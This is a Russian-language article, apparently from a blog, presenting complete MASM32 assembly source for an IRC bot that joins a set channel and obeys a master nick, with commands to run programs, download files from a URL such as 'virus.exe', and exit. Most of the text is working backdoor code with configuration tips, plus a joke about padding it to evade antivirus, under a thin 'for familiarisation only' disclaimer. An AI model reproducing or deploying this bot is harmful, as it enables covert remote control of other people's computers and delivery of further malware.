ircpickle

Один специалист в области программирования, пожелавший остаться неизвестным, предложил вариант irc-бота для удалённого управления компьютером.
Статья выложена в оригинале, так как передал её мне автор. Данная статья предназначена для ознакомления и ни в коем случае для практического применения.
Может являться учебным пособием. При копировании материалов, активная гиперссылка на оригинал обязательна.

Значет так, вот вам бот ирц, для управления удаленными компегами.
Конпелируется masm32 , запускается на нужном компе.
От антивирей разбавить гавном по вкусу.
Ох не могу на буке пейсать, пойду за комп…
Все, за компом. Сейчас немного опишу что тут да как.
Значед так, компилируе , запускаем , бот заходит на нужный нам
ирц-сервер, заползает на заданный нами канал , и ждет появления
хозяина. Для управления мдоступны 3 команды:
1. run — собственно запуск софты в фоновом режиме (например винамп с любимой
песней братьев вагнеров ))
2. get remote local — загрузить файл из инета (http/ftp) на винт , в local
3. die — убей себя , ну то есть хватит хулиганить, спать пора, оставляем человека и его комп в покое.

А теперь о том как его проучить и что тут происходит вообще:

.486
.model flat, stdcall
option casemap :none ; case sensitive

; ##################################################################

include \masm32\include\kernel32.inc
include \masm32\include\windows.inc
include \masm32\include\ws2_32.inc
include \masm32\include\urlmon.inc
include \masm32\include\iphlpapi.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\urlmon.lib
includelib \masm32\lib\iphlpapi.lib

тут подключаем либы системные , чтобы можно было использовать функции из библиотек винды

.data?
buff db 4160 dup (?)
.data
tmp dd 4096
.code

start:
; ##################################################################
push offset buff
push 101h
call WSAStartup ; WSAStartup(0x101, &WSADATA);
go: push 0
push 0
push 0
push 0
push 1
push 2
call WSASocketA ; s=WSASocketA(2,1,0,0,0,0);
xchg eax,ebx ; mov ebx, eax // socket -> ebx

здеся создается сокет и собственно соединение с сервером. Адресок сервера забивать здесь вот как:
число 0101a8c0 — соответствует ип-адресу 192.168.1.1 (можно было конечно использовать механизм
преобразования ип-адреса , забитый в винде , но зато так мы экономим 8 или 4 байт (ох не помню скока,
ну неважно). число вбивается задом наперед , в шестнадцатеричной системе:
например шестнадцатеричное C0 соответствует как несложно догадаться числу 192, а А8 — 168… ну и так далее..

push 0101a8c0h ; host: 192.168.1.1

а тут вбиваем порт ирц сервера, сложность в том , что тут байтики нужно поместить в стек в обратном порядке.
а именно , номеру порта 6667 будет соответствовать шеснацатиричное 1A + 0B что равняется как раз
6667 , ну а 0002 что такое я уже и не помню , наверно знак или префикс. Да не суть.

push 0b1a0002h ; port: 6667
mov ebp,esp
push 10h ; sizeof(sockaddr_in)
push ebp ; sockaddr_in address
push ebx ; socket s
call connect ; connect(s, name, sizeof(name));
test eax, eax ; if connect failed , exit
jne finished

вот , если зацепится удалось — хорошо , если нет — чешем на выход (он же finish)

;===================================================================
lea edi,buff
push edi
push edi
mov DWORD PTR DS:[edi],52455355h ;USER
mov DWORD PTR DS:[edi+4],62206120h ; a b
mov DWORD PTR DS:[edi+8],69206320h ; c i
mov ecx,70696f6eh
mov DWORD PTR DS:[edi+12],ecx ;noip
mov DWORD PTR DS:[edi+16],ecx ;noip
mov WORD PTR DS:[edi+20],0d0ah ;\n\r
add edi,22
push 1 ;GetIpForwardTable,addr route,addr len,1
push offset tmp ;size
push edi ;buff
call GetIpForwardTable ; double invoke ? -> is fucking stuppid microsoft coderz.

здесь получаем таблицу маршрутов тцп , нужно для определения внешнего / внутреннего ип-адреса
повторный вызов функции GetIpForwardTable — косяк винды, тфу на нее.

pop ecx
.if eax==0
mov ebp,[edi]
add edi,4
loopme: .if DWORD PTR DS:[edi+4]==0
mov edx,DWORD PTR DS:[edi+12] ;parse
xchg dh,dl
rol edx,16
xchg dh,dl
toansi: mov al,dl
and al,0fh
.if al < 10
add al,30h
.elseif
add al,37h
.endif
mov BYTE PTR DS:[ecx+19],al
dec edi
dec ecx
ror edx,4
.if ecx > offset buff — 8
jmp toansi
.endif ;parse
add ecx,8
jmp endme
.elseif
dec ebp
.if ebp==0
jmp endme
.endif
add edi,56
jmp loopme
.endif
.endif
endme: push 0 ;AUTH
push 22
push ecx
push ebx
call send ;send user
.if eax==SOCKET_ERROR
jmp finished
.endif

авторизация на ирц серваке проходит здесь, скажу что по вхоис можно определить ип 🙂 , вот так.

pop edi
push edi
mov eax,2d2d2d2dh
mov DWORD PTR DS:[edi+6],eax ;—-
mov DWORD PTR DS:[edi+10],eax ;—-
mov DWORD PTR DS:[edi+14],eax ;—-
add edi,7
push offset tmp
push edi
call GetComputerName
mov eax,DWORD PTR DS:[tmp]
mov ecx,2d2d2d2dh
mov DWORD PTR DS:[edi+eax],ecx
mov DWORD PTR DS:[edi+eax+4],ecx
mov DWORD PTR DS:[edi+eax+8],ecx
pop edi
.while eax!=0 ; check valid compname (suxx)
.if BYTE PTR DS:[edi+eax+6]>7ah
sub BYTE PTR DS:[edi+eax+6],5fh
.elseif (BYTE PTR DS:[edi+eax+6]<41h && BYTE PTR DS:[edi+eax+6]!=2dh) || (BYTE PTR DS:[edi+eax+6]>5ah && BYTE PTR DS:[edi+eax+6]<61h)
mov BYTE PTR DS:[edi+eax+6],78h;x
.endif
dec eax
.endw
mov BYTE PTR DS:[edi+18],30h ;0
sendnick: mov DWORD PTR DS:[edi],4b43494eh ;NICK
mov WORD PTR DS:[edi+4],6220h ; b
mov BYTE PTR DS:[edi+6],2dh ;-
mov BYTE PTR DS:[edi+17],2dh ;-
mov WORD PTR DS:[edi+19],0d0ah ;\n\r
push 0
push 21
push edi
push ebx
call send ;send nick
.if eax==SOCKET_ERROR
jmp finished
.endif

отправляем ник и имя на сервер , если все хорошо — продолжаем

routine: push 0
push 4096
push offset buff
push ebx
call recv
.if eax==0 || eax==-1
jmp finished
.endif
;———————————————————————ping-
mov edi,offset buff
mov BYTE PTR DS:[eax+edi],0
mov ecx,edi
add edi,eax
sub edi,5
ping: .if DWORD PTR DS:[edi]==474e4950h && WORD PTR DS:[edi+4]==3a20h ;PING :XXXXXXXX
mov BYTE PTR DS:[edi+1],4fh
push 0 ;flag
add ecx,eax
sub ecx,edi
push ecx ;len
push edi ;&buff
push ebx ;socket
call send
.if eax == SOCKET_ERROR
jmp finished
.elseif
jmp routine
.endif
.elseif
.if ecx < edi
dec edi
jmp ping
.endif
.endif

здесь отработали пинги , ирц серваку нужно вернуть число , отправленное им в пинге.
Так что возвращаем.

;———————————————————————data-
.if BYTE PTR DS:[buff]==3ah
call findspace
.if edi < offset buff+4096
;—————————auth-
;.if DWORD PTR DS:[edi+0]==49544f4eh && DWORD PTR DS:[edi+4]==41204543h && DWORD PTR DS:[edi+8]==20485455h
;NOTICE AUTH
;.endif
;———————-nickbusy-
.if DWORD PTR DS:[edi]==20333334h ;433 ->nick busy
add BYTE PTR DS:[edi+19],1
inc edi
jmp sendnick
.endif

а если ник уже кем-то занят? А? а наплевать , прибавляем единичку к нашему нику , и пробуем еще раз
Вот так 🙂

;—————————join-
.if DWORD PTR DS:[edi]==20313030h ;001 ->welcome (JOIN)
push 0
push 9
mov DWORD PTR DS:[edi],4e494f4ah ;JOIN
mov DWORD PTR DS:[edi+4],0a622320h ; #b\a
mov WORD PTR DS:[edi+8],000dh ;\r\0

заходим на канал , тут все просто , вбиваем в регистр edi команду захода , JOIN #b \a\r
в нашем случае это канал #b (б значит боты, вот) , но у тебя то может быть любой , только
в байтах не запутайся , принцип такой же как с ип-адресом , байты нужно разворачивать , потому
как интелы видят все с заду наперед.

push edi
push ebx
call send
.if eax == SOCKET_ERROR
jmp finished
.elseif
jmp routine
.endif
.endif
;—————————priv-
.if DWORD PTR DS:[edi]==56495250h && DWORD PTR DS:[edi+4]==2047534dh ;PRIVMSG
mov al,3ah
repnz scasb

все , здесь уже отработка сообщений пошла
следующей строкой вбивается мастер-ник , именно ему бот будет повиноваться.
здесь вбит ник rnd , но ты то можешь забить любой , желательно уложиться в 3 символа 🙂
чтобы не пришлось занимать в озу лишние 4 байта 🙂 ник должен обязательно заканчиваться восклицательным
знаком, ибо он является разделителем ника от вхоста юзера ирц. так что вот.
вот скажу еще что восклицательный знак — 21 в шестнадцатеричной. ну а дальше сам разберешся что к чему 🙂
(главное обзаведитесь хорошим шестнадцатеричным редактором)

.if DWORD PTR DS:[buff+1]==21646e72h ;rnd! (auth)
.if DWORD PTR DS:[edi]==206E7572h ;run
push 0
add edi,4
push edi
call WinExec
.if eax > 31
jmp sendoke
.endif

фоновый запуск приложения (команда run) если удалось — ответ ок , нет — молчёк )

jmp routine
.endif
.if DWORD PTR DS:[edi]==20746567h ;get
push 0
push 0
add edi,4
push edi
mov al,20h
repnz scasb
mov BYTE PTR DS:[edi-1],0
push edi
push 0
call URLDownloadToFile
.if eax == 0
jmp sendoke
.endif

здесь загружаем файло, команда get в приват боту , с параметрами http://host/virus.exe c:\кудазалить например
зальет из инета с хттп к себе файл , чтобы потом его можно было запустить. должен сказать что эта поганая функция
палит бота перед всеми антивирями, ну мы то хорошие , поэтому ее оставим , а вообще надо ее выбросить из него.

.endif
.if DWORD PTR DS:[edi]==0d656964h ;die\r
push 0
call ExitProcess

проверяем не пора ли убить себя, вроде не пора… , здесь проверка вот такая.

.endif
.endif
jmp routine
sendoke: push 0
push 17
call findspace ;»PRIVMSG rnd :ok»,10,13,0
mov DWORD PTR DS:[edi+8], 20646e72h ;rnd
mov DWORD PTR DS:[edi+12],0a6b6f3ah ;:ok\a
mov WORD PTR DS:[edi+16],000dh ;\r\0
push edi
push ebx

здесь ответ о проделанной работе, бот отвечает ок если команду выполнить удалось или молчит как партизан если нет.
единственно что, нужно вбить ник мастера , принцип описан ниже , единственно отличие в том что знак ! не нужен 😉

call send
.if eax == SOCKET_ERROR
jmp finished
.elseif
jmp routine
.endif
.endif
;——————————-
.endif
.endif
jmp routine
findspace: mov al,20h
mov ecx,4096
mov edi,offset buff
repnz scasb
ret
finished: push ebx
call closesocket ;closesocket(c);
push 60000
call Sleep

сцепится с ирц не удалось ежли , повторяем через минутку 🙂 такие дела.

jmp go
; ##################################################################
end start

все , конец.
ну надеюсь наш субботний экскурс , он же kode-trip воодушевит Вас на написание своего чего-нибудь
полезного на языке ассемблер. хорошим помошником в этом деле тебе будет отладчик ollydbg и хекс-редактор winhex.
Спасибо за внимаение. Пока 😉